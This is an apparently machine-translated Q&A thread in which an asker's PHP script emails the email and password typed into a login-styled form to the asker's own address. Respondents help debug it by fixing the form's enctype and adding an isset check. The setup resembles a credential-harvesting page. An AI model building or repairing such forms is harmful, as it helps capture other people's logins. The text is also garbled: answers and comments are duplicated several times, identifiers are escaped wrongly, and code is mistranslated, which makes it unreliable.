Php 收到电子邮件结果
我已经创建了一个HTML表单,并使用PHP将结果通过电子邮件发送给我,但我遇到了一些问题 我有一个名为contact.PHP的PHP文件,代码是Php 收到电子邮件结果,php,forms,Php,Forms,我已经创建了一个HTML表单,并使用PHP将结果通过电子邮件发送给我,但我遇到了一些问题 我有一个名为contact.PHP的PHP文件,代码是 <?php $email = $_POST['emails'] ; $password = $_POST['pass'] ; mail("MYEMAIL", "Form Results", "You have received a new message. Email: $email Password: $pa
<?php
$email = $_POST['emails'] ;
$password = $_POST['pass'] ;
mail("MYEMAIL", "Form Results", "You have received a new message. Email: $email Password: $password");
?>
我的HTML是
<form action="contact.php" method="post" enctype="text/plain">
<div class="size">Email</div> <input type="text" name="emails"><br>
<div class="size">Password</div><input type="password" name="pass">
<div class="logincon"><input type="image" src="css/images/login.png" value="submit" /></div>
<br><br>
</form>
电子邮件
密码
当我填写表格时,我收到一封电子邮件,上面写着
您已收到一条新消息。电子邮件:密码:
未显示电子邮件和密码 试试这个:
mail("MYEMAIL", "Form Results", "You have received a new message. Email: " . $email . " Password: " . $password);
试试这个:
mail("MYEMAIL", "Form Results", "You have received a new message. Email: " . $email . " Password: " . $password);
试试这个:
mail("MYEMAIL", "Form Results", "You have received a new message. Email: " . $email . " Password: " . $password);
试试这个:
mail("MYEMAIL", "Form Results", "You have received a new message. Email: " . $email . " Password: " . $password);
php
$\u POST
需要内容类型:application/x-www-form-urlencoded
在html中更改此选项
<form action="contact.php"
method="post"
enctype="text/plain">
到
它应该会起作用
您可以在此处阅读有关此主题的更多信息:
使用文本/普通格式的有效载荷旨在为人类可读。计算机无法可靠地解释它们,因为格式不明确(例如,无法区分值中的文字换行和值末尾的换行)
但是,您可以使用以下命令从文本/普通帖子访问数据:
$HTTP\u RAW\u post\u data
,但您必须自己解析它。php$\u post
需要内容类型:application/x-www-form-urlencoded
在html中更改此选项
<form action="contact.php"
method="post"
enctype="text/plain">
到
它应该会起作用
您可以在此处阅读有关此主题的更多信息:
使用文本/普通格式的有效载荷旨在为人类可读。计算机无法可靠地解释它们,因为格式不明确(例如,无法区分值中的文字换行和值末尾的换行)
但是,您可以使用以下命令从文本/普通帖子访问数据:
$HTTP\u RAW\u post\u data
,但您必须自己解析它。php$\u post
需要内容类型:application/x-www-form-urlencoded
在html中更改此选项
<form action="contact.php"
method="post"
enctype="text/plain">
到
它应该会起作用
您可以在此处阅读有关此主题的更多信息:
使用文本/普通格式的有效载荷旨在为人类可读。计算机无法可靠地解释它们,因为格式不明确(例如,无法区分值中的文字换行和值末尾的换行)
但是,您可以使用以下命令从文本/普通帖子访问数据:
$HTTP\u RAW\u post\u data
,但您必须自己解析它。php$\u post
需要内容类型:application/x-www-form-urlencoded
在html中更改此选项
<form action="contact.php"
method="post"
enctype="text/plain">
到
它应该会起作用
您可以在此处阅读有关此主题的更多信息:
使用文本/普通格式的有效载荷旨在为人类可读。计算机无法可靠地解释它们,因为格式不明确(例如,无法区分值中的文字换行和值末尾的换行)
但是,您可以通过以下方式从文本/普通帖子访问数据:
$HTTP\u RAW\u post\u data
,但是你必须自己解析它。php和html是否在同一个文件中-contact.php
?始终检查你的POST值是否已设置且不为空。@Sean发送电子邮件时没有变量这一事实表明,如果它们是同一个文件,请检查表单是否先发布->如果(isset($\u POST['emails')){$email=$\u POST['emails'];$password=$\u POST['pass'];mail(…您的代码…;)
。这可以防止在初始页面加载时发送电子邮件。@Sean非常好的建议-很可能是这样。php和html是否在同一个文件中-contact.php
?始终检查您的帖子值是否已设置且不是空的。@Sean发送电子邮件时没有变量这一事实表明,如果它们是在同一个文件中,检查表单是否先发布->if(设置($\u POST['emails']){$email=$\u POST['emails'];$password=$\u POST['pass'];mail(…您的代码…)}
。这可以防止在初始页面加载时发送电子邮件。@Sean非常好的建议-很可能是这样。php和html是否在同一个文件中-contact.php
?始终检查您的帖子值是否已设置且不是空的。@Sean发送电子邮件时没有变量这一事实表明,如果它们是在同一个文件中,检查表单是否先发布->if(设置($\u POST['emails']){$email=$\u POST['emails'];$password=$\u POST['pass'];mail(…您的代码…)}
。这可以防止在初始页面加载时发送电子邮件。@Sean非常好的建议-很可能是这样。php和html是否在同一个文件中-contact.php
?始终检查您的帖子值是否已设置且不是空的。@Sean发送电子邮件时没有变量这一事实表明,如果它们是在同一个文件中,检查表单是否先发布->if(设置($\u POST['emails']){$email=$\u POST['emails'];$password=$\u POST['pass'];mail(…您的代码…)}
。这可以防止在初始页面加载时发送电子邮件。@Sean提出了一个非常好的建议-很可能是这样。这真的不应该是问题所在,因为双引号字符串允许变量替换。我认为尝试一下也没什么害处。也应该是“$email”在实际的电子邮件中也是如此。这真的不应该是问题所在,因为双引号字符串允许变量替换。我认为尝试一下也没什么坏处。也应该是“$email”在实际的电子邮件中也是如此。这真的不应该是问题所在,因为双引号字符串允许变量替换。我认为尝试一下也没什么坏处。也应该是“$email”在实际的电子邮件中也是如此。这真的不应该是问题所在,因为双引号字符串允许变量替换。我认为尝试一下也没什么坏处。在a中也应该有“$email”